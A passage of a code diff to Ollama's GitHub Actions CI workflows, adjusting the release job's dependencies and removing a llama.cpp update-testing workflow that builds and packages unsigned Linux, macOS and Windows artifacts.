bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- if: matrix.suffix == '-rocm'
|
||||
run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
|
||||
- run: |
|
||||
echo "Manifests"
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
|
||||
echo $ARCHIVE
|
||||
cat $ARCHIVE
|
||||
done
|
||||
- run: |
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
|
||||
done
|
||||
wait
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
|
||||
path: |
|
||||
*.tar.zst
|
||||
|
||||
# Merge Docker images for the same flavor into a single multi-arch manifest
|
||||
docker-merge-push:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
suffix: ['', '-rocm']
|
||||
runs-on: linux
|
||||
@@ -730,7 +544,7 @@ jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
needs: [darwin-build, windows-app, docker-build-push]
|
||||
needs: [darwin-build, windows-app, linux-build]
|
||||
permissions:
|
||||
contents: write
|
||||
env:
|
||||
@@ -748,21 +562,6 @@ jobs:
|
||||
- name: Copy install scripts to dist
|
||||
run: |
|
||||
cp scripts/install.sh dist/install.sh
|
||||
- name: Verify release artifacts
|
||||
run: |
|
||||
required=(
|
||||
dist/OllamaSetup.exe
|
||||
dist/install.ps1
|
||||
dist/install.sh
|
||||
dist/ollama-windows-amd64.zip
|
||||
dist/ollama-windows-arm64.zip
|
||||
)
|
||||
for payload in "${required[@]}"; do
|
||||
if [ ! -f "$payload" ]; then
|
||||
echo "::error::Missing expected release artifact: $payload"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
- name: Generate checksum file
|
||||
run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
|
||||
working-directory: dist
|
||||
|
||||
@@ -1,622 +0,0 @@
|
||||
name: test-llamacpp-update
|
||||
|
||||
# PR validation artifacts from this workflow are intentionally unsigned and not
|
||||
# notarized. They are for llama.cpp update testing only and must not be
|
||||
# published as release artifacts.
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'LLAMA_CPP_VERSION'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CGO_CFLAGS: '-O3'
|
||||
CGO_CXXFLAGS: '-O3'
|
||||
|
||||
jobs:
|
||||
setup-environment:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
id: goflags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
|
||||
{
|
||||
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
|
||||
echo "VERSION=${VERSION}"
|
||||
echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
|
||||
} >>"${GITHUB_OUTPUT}"
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Build unsigned Darwin runtime
|
||||
run: ./scripts/build_darwin.sh build package
|
||||
- name: Log build results
|
||||
run: ls -l dist/
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-darwin.tgz
|
||||
path: dist/ollama-darwin.tgz
|
||||
compression-level: 0
|
||||
|
||||
# Build payload export stages independently and combine the exported
|
||||
# filesystem artifacts below. This preserves parallelism without Docker
|
||||
# registry credentials or oversized GitHub layer caches.
|
||||
linux-payloads:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: amd64
|
||||
target: publish-llama-server-rocm_v7_2
|
||||
payload: rocm_v7_2
|
||||
- arch: amd64
|
||||
target: publish-llama-server-vulkan
|
||||
payload: vulkan
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack5
|
||||
payload: cuda_jetpack5
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack6
|
||||
payload: cuda_jetpack6
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: ${{ matrix.target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
linux-go:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: publish-go
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux Go payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-go
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
# MLX payloads are intentionally excluded from this workflow; the Dockerfile
|
||||
# still exposes publish-mlx for a separate MLX-specific workflow.
|
||||
linux-bundles:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: [linux-payloads, linux-go]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: linux-payload-${{ matrix.arch }}-*
|
||||
path: ${{ runner.temp }}/payloads
|
||||
merge-multiple: true
|
||||
- name: Assemble Linux payload tree
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
src="${{ runner.temp }}/payloads"
|
||||
arch="${{ matrix.arch }}"
|
||||
dest="dist/linux-${arch}"
|
||||
copy_payload() {
|
||||
local name="$1"
|
||||
local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
|
||||
if [ ! -f "${payload}" ]; then
|
||||
echo "missing payload ${payload}"
|
||||
exit 1
|
||||
fi
|
||||
zstd -d <"${payload}" | tar -C "${dest}" -xf -
|
||||
}
|
||||
|
||||
mkdir -p "${dest}"
|
||||
copy_payload go
|
||||
copy_payload cpu
|
||||
copy_payload cuda_v12
|
||||
copy_payload cuda_v13
|
||||
if [ "${arch}" = "amd64" ]; then
|
||||
copy_payload vulkan
|
||||
copy_payload rocm_v7_2
|
||||
else
|
||||
copy_payload cuda_jetpack5
|
||||
copy_payload cuda_jetpack6
|
||||
fi
|
||||
|
||||
./scripts/deduplicate_cuda_libs.sh "${dest}"
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/linux-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"${base}/bin/ollama" \
|
||||
"${base}/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
|
||||
done
|
||||
- name: Create archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "${COMPONENT}" in
|
||||
bin/ollama*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/linux-${{ matrix.arch }}
|
||||
- name: Log archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
echo "${ARCHIVE}"
|
||||
cat "${ARCHIVE}"
|
||||
done
|
||||
- name: Create Linux archives
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
|
||||
done
|
||||
wait
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
path: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'amd64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-amd64-rocm.tar.zst
|
||||
path: ollama-linux-amd64-rocm.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack5.tar.zst
|
||||
path: ollama-linux-arm64-jetpack5.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack6.tar.zst
|
||||
path: ollama-linux-arm64-jetpack6.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
- '"crt"'
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13 ARM64'
|
||||
build-steps: cuda13Arm64Cross
|
||||
install: https://packages.nvidia.com/prerelease/cuda/13.4.0/local_installers/cuda_13.4.0_windows_x86_64.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"cudart_cross"'
|
||||
- '"nvcc"'
|
||||
- '"nvcc_cross"'
|
||||
- '"cublas_cross"'
|
||||
- '"cublas_dev"'
|
||||
- '"crt"'
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.4'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
choco install -y --no-progress ccache ninja
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- if: startsWith(matrix.preset, 'CUDA ')
|
||||
name: Install CUDA ${{ matrix.cuda-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
for ($attempt = 1; $attempt -le 3; $attempt++) {
|
||||
try {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
break
|
||||
} catch {
|
||||
if ($attempt -eq 3) { throw }
|
||||
Write-Host "CUDA installer download attempt $attempt failed: $($_.Exception.Message); retrying in 15s"
|
||||
Start-Sleep -Seconds 15
|
||||
}
|
||||
}
|
||||
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
|
||||
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
|
||||
echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- if: startsWith(matrix.preset, 'ROCm')
|
||||
name: Install ROCm ${{ matrix.rocm-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
|
||||
echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: matrix.preset == 'Vulkan'
|
||||
name: Install Vulkan
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
|
||||
uses: actions/cache/save@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build Windows dependencies
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-build:
|
||||
runs-on: windows
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
$version=& gcc -v 2>&1
|
||||
$version=$version -join "`n"
|
||||
echo "gcc is $version"
|
||||
if ($version -notmatch 'clang') {
|
||||
echo "ERROR: GCC must be clang for proper utf16 handling"
|
||||
exit 1
|
||||
}
|
||||
$ErrorActionPreference='Stop'
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: "20"
|
||||
- name: Build Windows binaries and app launchers
|
||||
run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-windows-amd64
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-package:
|
||||
runs-on: windows
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: build-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- name: Copy unsigned install script
|
||||
run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
|
||||
- name: Log dist contents after download
|
||||
run: gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Build unsigned Windows installer and zips
|
||||
run: ./scripts/build_windows.ps1 deps installer zip
|
||||
- name: Log contents after build
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- name: Verify Windows package outputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/ollama-windows-amd64.zip \
|
||||
dist/ollama-windows-arm64.zip \
|
||||
dist/ollama-windows-amd64-rocm.zip \
|
||||
dist/OllamaSetup.exe \
|
||||
dist/install.ps1
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64.zip
|
||||
